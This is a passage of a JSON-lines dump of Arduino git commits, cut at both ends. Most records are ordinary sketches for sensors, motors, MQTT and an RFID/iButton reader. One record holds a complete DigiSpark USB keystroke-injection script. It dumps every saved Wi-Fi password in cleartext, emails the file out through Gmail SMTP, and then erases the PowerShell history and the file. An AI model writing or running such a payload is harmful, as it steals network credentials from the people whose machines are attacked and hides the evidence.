reasonable - a few kS\/s\n }\n \n \/\/ send data via SerialUSB\n \/\/ perform a flush first to wait for the previous buffer to be sent, before overwriting it\n SerialUSB.flush();\n strOut = strTime + strC1 + strC2 + strC3 + strC4 + strC5 + strC6; \n SerialUSB.print(strOut); \/\/ doesn't wait for write to complete before moving on\n \n \n \/\/ clear string data - re-initialise\n strTime = \"\";\n strC1 = \"\";\n strC2 = \"\";\n strC3 = \"\";\n strC4 = \"\";\n strC5 = \"\";\n strC6 = \"\";\n }\n \n \/\/ finally, print end-of-data and end-of-line character to signify no more data will be coming\n SerialUSB.println(\"\\0\");\n \n \/\/ wait a while to allow temperature to settle\n delay(settling_time_ms);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SixChannelLogger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e0bb8cb471fd54a42f2290e0c268e179d92ec59f","subject":"Main code begun","message":"Main code begun\n","repos":"BenEvansTN\/Tetris4DesignProject,BenEvansTN\/Tetris4DesignProject","old_file":"TetrisOnArduino\/TetrisOnArduino.ino","new_file":"TetrisOnArduino\/TetrisOnArduino.ino","new_contents":"\/* \n TetrisOnArduino.ino \n Author: Matt Webb \n \n \n*\/ \n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TetrisOnArduino\/TetrisOnArduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"60249dedadb4b8cb3e586468ef721b86f7e403d0","subject":"Add Arduino code for KnobToStepper.","message":"Add Arduino code for KnobToStepper.\n","repos":"cmuphyscomp\/physcomp-examples,cmuphyscomp\/physcomp-examples,cmuphyscomp\/physcomp-examples,cmuphyscomp\/physcomp-examples,cmuphyscomp\/physcomp-examples,cmuphyscomp\/physcomp-examples","old_file":"1_energy-information-transduction\/b_arduino-starter\/ii_basic-examples\/1.b.ii.6_motor-knob\/KnobToStepper\/KnobToStepper.ino","new_file":"1_energy-information-transduction\/b_arduino-starter\/ii_basic-examples\/1.b.ii.6_motor-knob\/KnobToStepper\/KnobToStepper.ino","new_contents":"#define DIR_PIN 2\n#define STEP_PIN 3\n\nint previous = 0;\n\nvoid setup() { \n pinMode(DIR_PIN, OUTPUT); \n pinMode(STEP_PIN, OUTPUT); \n} \n\nvoid loop(){ \n int val = analogRead(0);\n rotate(val - previous, .2); \n previous = val;\n}\n\n\nvoid rotate(float dist, float speed){ \n \/\/rotate a specific distance (negitive for reverse movement)\n \/\/speed is any number from .01 -> 1 with 1 being fastest - Slower is stronger\n int dir = (dist > 0)? HIGH:LOW;\n digitalWrite(DIR_PIN,dir); \n\n int steps = abs(dist)*(1\/0.225);\n float usDelay = (1\/speed) * 70;\n\n for(int i=0; i < steps; i++){ \n digitalWrite(STEP_PIN, HIGH); \n delayMicroseconds(usDelay); \n\n digitalWrite(STEP_PIN, LOW); \n delayMicroseconds(usDelay); \n } \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '1_energy-information-transduction\/b_arduino-starter\/ii_basic-examples\/1.b.ii.6_motor-knob\/KnobToStepper\/KnobToStepper.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f156a815fed677f221b9338ab3e283fc08abe83f","subject":"add touch sensor","message":"add touch sensor\n","repos":"locatw\/Autonek,locatw\/Autonek,locatw\/Autonek,locatw\/Autonek,locatw\/Autonek,locatw\/Autonek,locatw\/Autonek","old_file":"Arduino\/Halitch\/Halitch.ino","new_file":"Arduino\/Halitch\/Halitch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/locatw\/Autonek.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"35cca5a6cbcb2554c378ab6c0f954322c711b8bc","subject":"Initial upload of updated script","message":"Initial upload of updated script","repos":"CedArctic\/DigiSpark-Scripts,CedArctic\/DigiSpark-Scripts","old_file":"WiFi_Profile_Mailer\/WiFi_Profile_Mailer_New.ino","new_file":"WiFi_Profile_Mailer\/WiFi_Profile_Mailer_New.ino","new_contents":"\/\/This DigiSpark script writes the wireless network credentials to a csv file and emails it.\n\/\/Credits to p0wc0w.\n\n\/\/NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10\n\/\/since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should\n\/\/be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions \n\/\/of Windows or simply older builds of Windows 10, the other version works like a charm.\n\n#include \"DigiKeyboard.h\"\nvoid setup() {\n}\n\nvoid loop() {\n DigiKeyboard.sendKeyStroke(0);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_A);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(F(\"(netsh wlan show profiles) | Select-String '\\\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\\\W+\\\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\\\temp.csv;exit\"));\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(3000);\n DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_A);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(F(\"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit\"));\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_A);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(F(\"del (Get-PSReadlineOption).HistorySavePath\"));\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(\"cmd\");\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(F(\"del temp.csv\"));\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(100);\n DigiKeyboard.print(F(\"exit\"));\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n for(;;){ \/*empty*\/ }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WiFi_Profile_Mailer\/WiFi_Profile_Mailer_New.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca6fc7641d1472b68f87410d2d6d184638353dda","subject":"Added Arduino Test code","message":"Added Arduino Test code\n\nSame Arduino test code as release 0.\n","repos":"CmdrZin\/chip_avr_asm_lib,CmdrZin\/chip_avr_asm_lib","old_file":"I2C_SW_Slave_lib\/I2C_SW_Slave_2313_rel_0\/i2c_testWriteRead02.ino","new_file":"I2C_SW_Slave_lib\/I2C_SW_Slave_2313_rel_0\/i2c_testWriteRead02.ino","new_contents":"#include <Wire.h>\n\nbyte val = 0x02; \/\/ Board ID (8)\nint slave = 0x23; \/\/ has to be an int.\nbyte count = 0; \/\/ simple counter\n\nvoid setup()\n{\n Wire.begin(); \/\/ join i2c bus\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n Serial.println(\"Scan 3 registers\");\n \n \/\/ Send CMD to Slave to read register.\n Wire.beginTransmission(0x23); \/\/ transmit to Slave. Have to do this each time.\n Wire.write(0); \/\/ sends value byte\n Wire.endTransmission(); \/\/ stop transmitting\n delay(1); \/\/ need to give Slave time to fill ouput FIFO.\n \n \/\/ Issues a SLA_R request and triggers N reads before NACKing Slave.\n Wire.requestFrom(slave, 4); \/\/ request N bytes from (int)slave\n\n \/\/ Flush buffer\n while(Wire.available()) \/\/ slave may send less than requested\n { \n char c = Wire.read(); \/\/ receive a byte as character\n Serial.print(c, HEX);\n Serial.print(\" \");\n }\n Serial.println(\"\");\n delay(1);\n\n \/\/ Send CMD to Slave to read register.\n Wire.beginTransmission(0x23); \/\/ transmit to Slave\n Wire.write(2); \/\/ sends value byte\n Wire.endTransmission(); \/\/ stop transmitting\n delay(1); \/\/ need to give Slave time to fill ouput FIFO.\n \n \/\/ Issues a SLA_R request and triggers N reads before NACKing Slave.\n Wire.requestFrom(slave, 12); \/\/ request N bytes from (int)slave\n\n \/\/ Flush buffer\n while(Wire.available()) \/\/ slave may send less than requested\n { \n char c = Wire.read(); \/\/ receive a byte as character\n Serial.print(c);\n }\n Serial.println(\"\");\n delay(1);\n\n \/\/ Send CMD to Slave to read register.\n Wire.beginTransmission(0x23); \/\/ transmit to Slave\n Wire.write(3); \/\/ sends value byte\n Wire.endTransmission(); \/\/ stop transmitting\n delay(1); \/\/ need to give Slave time to fill ouput FIFO.\n \n \/\/ Issues a SLA_R request and triggers N reads before NACKing Slave.\n Wire.requestFrom(slave, 16); \/\/ request N bytes from (int)slave\n\n \/\/ Flush buffer\n while(Wire.available()) \/\/ slave may send less than requested\n { \n char c = Wire.read(); \/\/ receive a byte as character\n Serial.print(c);\n }\n Serial.println(\"\");\n Serial.println(\"\");\n \n \/\/ Send CMD to Slave to set register. This could use an array for the data.\n Wire.beginTransmission(0x23); \/\/ transmit to Slave\n Wire.write(0x81); \/\/ sends value byte\n Wire.write(count++); \/\/ sends value byte\n Wire.endTransmission(); \/\/ stop transmitting\n \n delay(500);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'I2C_SW_Slave_lib\/I2C_SW_Slave_2313_rel_0\/i2c_testWriteRead02.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b27733e26bbe1201eea0496866181e2cdb57277","subject":"adds fona digital in example","message":"adds fona digital in example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"arduino-fona\/digital-in\/digital-in.ino","new_file":"arduino-fona\/digital-in\/digital-in.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library FONA Example\n Designed specifically to work with the Adafruit FONA\n ----> http:\/\/www.adafruit.com\/products\/1946\n ----> http:\/\/www.adafruit.com\/products\/1963\n ----> http:\/\/www.adafruit.com\/products\/2468\n ----> http:\/\/www.adafruit.com\/products\/2542\n\n These cellular modules use TTL Serial to communicate, 2 pins are\n required to interface.\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n Adafruit IO example additions by Todd Treece.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <Adafruit_SleepyDog.h>\n#include <SoftwareSerial.h>\n#include \"Adafruit_FONA.h\"\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_FONA.h\"\n\n\/****************************** Pins ****************************************\/\n#define BUTTON 5\n#define FONA_RX 2\n#define FONA_TX 3\n#define FONA_RST 4\nSoftwareSerial fonaSS = SoftwareSerial(FONA_TX, FONA_RX);\n\nAdafruit_FONA fona = Adafruit_FONA(FONA_RST);\n\n\/************************* WiFi Access Point *********************************\/\n\n \/\/ Optionally configure a GPRS APN, username, and password.\n \/\/ You might need to do this to access your network's GPRS\/data\n \/\/ network. Contact your provider for the exact APN, username,\n \/\/ and password values. Username and password are optional and\n \/\/ can be removed, but APN is required.\n#define FONA_APN \"\"\n#define FONA_USERNAME \"\"\n#define FONA_PASSWORD \"\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = AIO_KEY __DATE__ __TIME__;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the FONA MQTT class by passing in the FONA class and MQTT server and login details.\nAdafruit_MQTT_FONA mqtt(&fona, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/\/ You don't need to change anything below this line!\n#define halt(s) { Serial.println(F( s )); while(1); }\n\n\/\/ FONAconnect is a helper function that sets up the FONA and connects to\n\/\/ the GPRS network. See the fonahelper.cpp tab above for the source!\nboolean FONAconnect(const __FlashStringHelper *apn, const __FlashStringHelper *username, const __FlashStringHelper *password);\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'button' for publishing changes.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char BUTTON_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/button\";\nAdafruit_MQTT_Publish button = Adafruit_MQTT_Publish(&mqtt, BUTTON_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\n\/\/ button state\nint current = 0;\nint last = -1;\n\nvoid setup() {\n\n \/\/ set button pin as an input\n pinMode(BUTTON, INPUT_PULLUP);\n\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit IO Example\"));\n Serial.print(F(\"Free RAM: \")); Serial.println(getFreeRam(), DEC);\n\n \/\/ Initialise the FONA module\n while (! FONAconnect(F(FONA_APN), F(FONA_USERNAME), F(FONA_PASSWORD)))\n halt(\"Retrying FONA\");\n\n Serial.println(F(\"Connected to Cellular!\"));\n\n Watchdog.reset();\n delay(3000); \/\/ wait a few seconds to stabilize connection\n Watchdog.reset();\n\n\n \/\/ connect to adafruit io\n connect();\n\n}\n\nvoid loop() {\n\n \/\/ Make sure to reset watchdog every loop iteration!\n Watchdog.reset();\n\n \/\/ ping adafruit io a few times to make sure we remain connected\n if(! mqtt.ping(3)) {\n \/\/ reconnect to adafruit io\n if(! mqtt.connected())\n connect();\n }\n\n \/\/ grab the current state of the button\n current = digitalRead(BUTTON);\n\n \/\/ return if the value hasn't changed\n if(current == last)\n return;\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending button value: \"));\n Serial.print(current == LOW ? 1 : 0);\n Serial.print(\"... \");\n\n if (! button.publish(current == LOW ? 1 : 0))\n Serial.println(F(\"Failed.\"));\n else\n Serial.println(F(\"Success!\"));\n\n \/\/ save the button state\n last = current;\n\n}\n\n\/\/ connect to adafruit io via MQTT\nvoid connect() {\n\n Serial.print(F(\"Connecting to Adafruit IO... \"));\n\n int8_t ret, retries = 5;\n\n while ((ret = mqtt.connect()) != 0) {\n\n switch (ret) {\n case 1: Serial.println(F(\"Wrong protocol\")); break;\n case 2: Serial.println(F(\"ID rejected\")); break;\n case 3: Serial.println(F(\"Server unavail\")); break;\n case 4: Serial.println(F(\"Bad user\/pass\")); break;\n case 5: Serial.println(F(\"Not authed\")); break;\n case 6: Serial.println(F(\"Failed to subscribe\")); break;\n default: Serial.println(F(\"Connection failed\")); break;\n }\n\n if(ret >= 0)\n mqtt.disconnect();\n\n retries--;\n\n if (retries == 0)\n halt(\"Resetting system\");\n\n Serial.println(F(\"Retrying connection...\"));\n delay(5000);\n\n }\n\n Serial.println(F(\"Adafruit IO Connected!\"));\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-fona\/digital-in\/digital-in.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c6b884ed0760117dc624382a8a57d9cbb127c6a","subject":"Add arduino-pir code","message":"Add arduino-pir code\n\nSimple code that reads PIR state, prints the status via serial and waits\n500ms\n","repos":"ilkkajylha\/office-iot,ilkkajylha\/office-iot","old_file":"arduino-pir\/arduino-pir.ino\/arduino-pir.ino.ino","new_file":"arduino-pir\/arduino-pir.ino\/arduino-pir.ino.ino","new_contents":"int ledPin = 13; \/\/ choose the pin for the LED\nint inputPin = 3; \/\/ choose the input pin (for PIR sensor)\nint pirState = LOW; \/\/ we start, assuming no motion detected\nint val = 0; \/\/ variable for reading the pin status\n \nvoid setup() {\n pinMode(ledPin, OUTPUT); \/\/ declare LED as output\n pinMode(inputPin, INPUT); \/\/ declare sensor as input\n \n Serial.begin(9600);\n}\n \nvoid loop(){\n val = digitalRead(inputPin); \/\/ read input value\n if (val == HIGH) { \/\/ check if the input is HIGH\n digitalWrite(ledPin, HIGH); \/\/ turn LED On\n Serial.println(\"1\");\n delay(500);\n }\n else {\n digitalWrite(ledPin, LOW); \/\/ turn LED OFF\n Serial.println(\"0\");\n delay(500);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-pir\/arduino-pir.ino\/arduino-pir.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fe5a8a58322fb70f301c17ab04616e4ee9f5f383","subject":"Just a little more tidy-up","message":"Just a little more tidy-up\n","repos":"hooroo\/moteino_build_lights","old_file":"arduino\/receiver.ino","new_file":"arduino\/receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hooroo\/moteino_build_lights.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fda6e6dde09643bb564f949635a5f5a36cf6817c","subject":"Arduino base code","message":"Arduino base code\n","repos":"nathanpc\/miniload","old_file":"battery_capacity.ino","new_file":"battery_capacity.ino","new_contents":"\/**\n * battery_capacity\n * Battery capacity tester.\n * \n * @author Nathan Campos <nathanpc@dreamintech.net>\n *\/\n\n#include <TimerOne.h>\n\/\/#include <SimpleTimer.h>\n\n#define VREF 2.929\n#define BDIV 5.58526\n#define MA_RANGE 0\n#define A_RANGE 1\n#define OFF_RANGE 2\n\nconst int batt_sense = A2;\nconst int usb_sense = A5;\nconst int ma_range = 12;\nconst int a_range = 11;\nconst int pwm_pin = 9;\n\nfloat ratio = 1;\nfloat cutoff = 0;\n\/\/SimpleTimer timer;\n\nvoid setup() {\n analogReference(EXTERNAL);\n\n pinMode(ma_range, OUTPUT);\n pinMode(a_range, OUTPUT);\n\n Timer1.initialize(100);\n set_current(0, OFF_RANGE);\n\n Serial.begin(9600);\n Serial.setTimeout(20);\n\n \/\/ratio = 1.9;\n}\n\nvoid loop() {\n String data;\n String command;\n int value;\n\n while (Serial.available() > 0) {\n data = Serial.readStringUntil('\\n');\n command = data.substring(0, data.indexOf(' '));\n\n if (command == \"SENSEV\") {\n Serial.println(sense_voltage(), 3);\n } else if (command == \"USBV\") {\n Serial.println(usb_voltage(), 3);\n \/*} else if (command == \"LOG\") {\n value = (data.substring(data.indexOf(' ') + 1)).toInt();\n timer.setInterval(value * 1000, log_data);\n\n Serial.print(\"OK. Logging started with a \");\n Serial.print(value);\n Serial.println(\"s interval.\");\n\n timer.run();*\/\n } else if (command == \"ISET\") {\n value = (data.substring(data.indexOf(' ') + 1)).toInt();\n set_current(value, MA_RANGE);\n } else if (command == \"RATSET\") {\n value = (data.substring(data.indexOf(' ') + 1)).toInt();\n ratio = value \/ 100.0;\n\n Serial.print(\"OK. Ratio set: \");\n Serial.println(ratio, 2);\n } else if (command == \"COSET\") {\n value = (data.substring(data.indexOf(' ') + 1)).toInt();\n cutoff = value \/ 1000.0;\n\n Serial.print(\"OK. Cutoff set to \");\n Serial.print(cutoff, 3);\n Serial.println(\"V\");\n } else {\n Serial.println(\"FAIL. Invalid command.\");\n }\n }\n\n \/\/Serial.println(sense_voltage(), 3);\n \/\/delayMicroseconds(1000);\n}\n\nfloat sense_voltage() {\n float value = 0;\n\n for (int i = 0; i < 300; i++) {\n value += analogRead(batt_sense);\n delay(2);\n }\n\n value \/= 300;\n value *= VREF \/ 1023.0;\n\n return value \/ ratio;\n}\n\nfloat usb_voltage() {\n float usbv = 0;\n\n for (int i = 0; i < 300; i++) {\n usbv += analogRead(usb_sense);\n delay(2);\n }\n\n usbv \/= 300;\n usbv *= VREF \/ 1023.0;\n\n return usbv * 2;\n}\n\nvoid set_current(int current, uint8_t range) {\n if (range == MA_RANGE) {\n digitalWrite(a_range, LOW);\n digitalWrite(ma_range, HIGH);\n\n Timer1.pwm(pwm_pin, ((current \/ 1000.0) * 1024) \/\n ((usb_voltage() * 2200) \/ (12000 + 2200)));\n \n Serial.print(\"OK. \");\n Serial.print(current);\n Serial.println(\"mA current set.\");\n } else if (range == A_RANGE) {\n digitalWrite(a_range, HIGH);\n digitalWrite(ma_range, LOW);\n \n Timer1.pwm(pwm_pin, ((current \/ 1000.0) * 1024) \/\n ((usb_voltage() * 18000) \/ (12000 + 18000)));\n\n Serial.print(\"OK. \");\n Serial.print(current);\n Serial.println(\"mA current set.\");\n } else if (range == OFF_RANGE) {\n digitalWrite(a_range, LOW);\n digitalWrite(ma_range, HIGH);\n\n Timer1.pwm(pwm_pin, 0);\n } else {\n Timer1.pwm(pwm_pin, 0);\n \n Serial.print(\"Invalid current range selected! - \");\n Serial.println(range);\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'battery_capacity.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"554bb142af2f179dde42b5c5082d53d6c679f844","subject":"Sketch to test the bumpers The bumpers did not work. Because the don't have pulldown resistors yet.","message":"Sketch to test the bumpers\nThe bumpers did not work. Because the don't have pulldown resistors yet.\n","repos":"Vido\/sumobot,Vido\/sumobot","old_file":"DOCS\/bumper_test\/bumper_test.ino","new_file":"DOCS\/bumper_test\/bumper_test.ino","new_contents":"#define LEFT_BUMPER 2\n#define RIGHT_BUMPER 4\n#define DEBOUNCE_DELAY 50 \n\nvoid setup() \n{ \n Serial.begin(9600);\n pinMode(LEFT_BUMPER, INPUT);\n pinMode(RIGHT_BUMPER, INPUT);\n pinMode(LED_BUILTIN, OUTPUT); \n}\n\nuint8_t debounce(uint8_t pin) {\n \n static uint8_t last_state;\n static long last_debounce_time;\n \n int reading = digitalRead(pin);\n\n if (reading != last_state)\n last_debounce_time = millis();\n \n if ((millis() - last_debounce_time) > DEBOUNCE_DELAY)\n last_state = reading;\n \n return last_state;\n}\n\nvoid loop(){\n\n uint8_t left = digitalRead(LEFT_BUMPER);\n uint8_t right = digitalRead(RIGHT_BUMPER);\n \n Serial.print(left);\n Serial.println(right);\n \n digitalWrite(LED_BUILTIN, left || right);\n\/\/ digitalWrite(LED_BUILTIN, left);\n\/\/ digitalWrite(LED_BUILTIN, right);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DOCS\/bumper_test\/bumper_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a9e33d88ea5f2e017f02756d9bbb94db4da4e6f1","subject":"switch GPIO numbers for firmware update and push wifi config","message":"switch GPIO numbers for firmware update and push wifi config\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fe920c4d1ab39407fe6f13836737aca9c6a648df","subject":"BUGFIX to Write a final byte at end of EEPROM: clear 256 byte buffer b4 writing final","message":"BUGFIX to Write a final byte at end of EEPROM: clear 256 byte buffer b4 writing final\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2614c037171e6d6e53cebc5a1c21844c920d0c60","subject":"Working RFID and iButton","message":"Working RFID and iButton\n","repos":"JDrit\/Harold,speakerbug\/Harold","old_file":"Harold.ino","new_file":"Harold.ino","new_contents":"\/\/RFID uses Software Serial\n#include <SoftwareSerial.h>\n\/\/iButton uses OneWire\n#include <OneWire.h>\n\n\/\/iButton Variables\nOneWire ds(7);\nbyte addr[7];\nint but[6] = {0,149,107,48,13,0};\nString keyStatus = \"\";\n\n\/\/RFID Variables\nSoftwareSerial RFID(2, 3);\nString msg;\n\nvoid setup() \n{\n \/\/Set up RFID\n Serial.begin(9600);\n RFID.begin(9600);\n \/\/Set up iButton\n pinMode(13, OUTPUT);\n \/\/Print a ready message\n Serial.println(\"Everything's Ready!\");\n}\n\n\/\/The char in iButton\nchar c;\n\nvoid loop(){\n \n \/\/Checks serial for RFID info\n checkRFID();\n \/\/Checks OneWire for iButton info\n checkiButton();\n \n}\n\nvoid checkRFID() {\n \n \/\/When there is RFID info available, read through each character\n while(RFID.available() > 0){\n c=RFID.read();\n msg += c;\n }\n \/\/When the RFID info length is 14, print it and set message to null\n if (msg.length() == 14) {\n Serial.println(msg);\n }\n msg = \"\";\n \n}\n\nvoid checkiButton() {\n \n \/\/Get info on the key\n getKeyCode();\n \/\/if the key is good go through this\n if(keyStatus==\"ok\"){\n byte i;\n \/\/For CSH iButtons there are 7 code segments in hexidecimal \n for( i = 7; i > 0; i--) {\n \n \/\/Adds leading zeros to hex if only one character long\n if( addr[i] < 0x10){ \n Serial.print(\"0\");\n }\n \n \/\/Prints rest of hex\n Serial.print(addr[i], HEX);\n \n }\n \/\/Adds 01 at the end of iButton info since all CSHers have that at the end\n Serial.print(\"01\");\n \/\/Makes a new line\n Serial.println();\n \n \/\/Makes LED on Arduino blink so we know iButton was read\n if(addr[1] == but[1] && addr[2] == but[2] && addr[3] == but[3] && addr[4] == but[4]){\n digitalWrite(13, HIGH);\n delay(500);\n digitalWrite(13, LOW);}\n else {digitalWrite(13, LOW);}\n }\n else if (keyStatus!=\"\") { Serial.print(keyStatus);}\n \n \/\/Keep a delay so that it doesn't mistakenly read the same iButton more than once\n delay(500);\n \n}\n\n\/\/This does a lot of weird stuff about seeing if the data in the iButton is worth getting\nvoid getKeyCode(){\n byte present = 0;\n byte data[12];\n keyStatus=\"\";\n \n if ( !ds.search(addr)) {\n ds.reset_search();\n return;\n }\n\n if ( OneWire::crc8( addr, 7) != addr[7]) {\n keyStatus=\"CRC invalid\";\n return;\n }\n \n if ( addr[0] != 0x01) {\n keyStatus=\"not DS1990A\";\n return;\n }\n keyStatus=\"ok\";\n ds.reset();\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"89c717a10e51c270775d3e6a981fa51de2e52b99","subject":"Adding initial file","message":"Adding initial file\n","repos":"LeStarch\/biometric-desklamp,LeStarch\/biometric-desklamp","old_file":"fingerprint.ino","new_file":"fingerprint.ino","new_contents":"#include <stdint.h>\n\n\/\/Error pin to flash on error\nint ERROR_PIN = 13;\n\/**\n * Enumeration of commands\n * Value set to control code of command\n * See datasheet for fingerprint scanner\n **\/\ntypedef enum \n{\n NIL = 0x00,\n OPEN = 0x01,\n CLOSE = 0x02,\n CMOS_LED = 0x12,\n GET_ENROLL_COUNT = 0x20,\n ENROLL_START = 0x22,\n ENROLL1 = 0X23,\n ENROLL2 = 0x24,\n ENROLL3 = 0x25,\n IS_PRESS_FINGER = 0x26,\n IDENTIFY = 0x51,\n CAPTURE_FINGER = 0x60,\n ACK = 0x30,\n NO_ACK = 0x31\n \n} Command;\n\n\/**\n * Command structure\n *\/\ntypedef struct\n{\n uint8_t start1;\n uint8_t start2;\n uint16_t did;\n uint32_t param;\n uint16_t cmd;\n uint16_t check;\n \/\/Notice: This lenght doesn't include itself.\n \/\/Thus if treated as 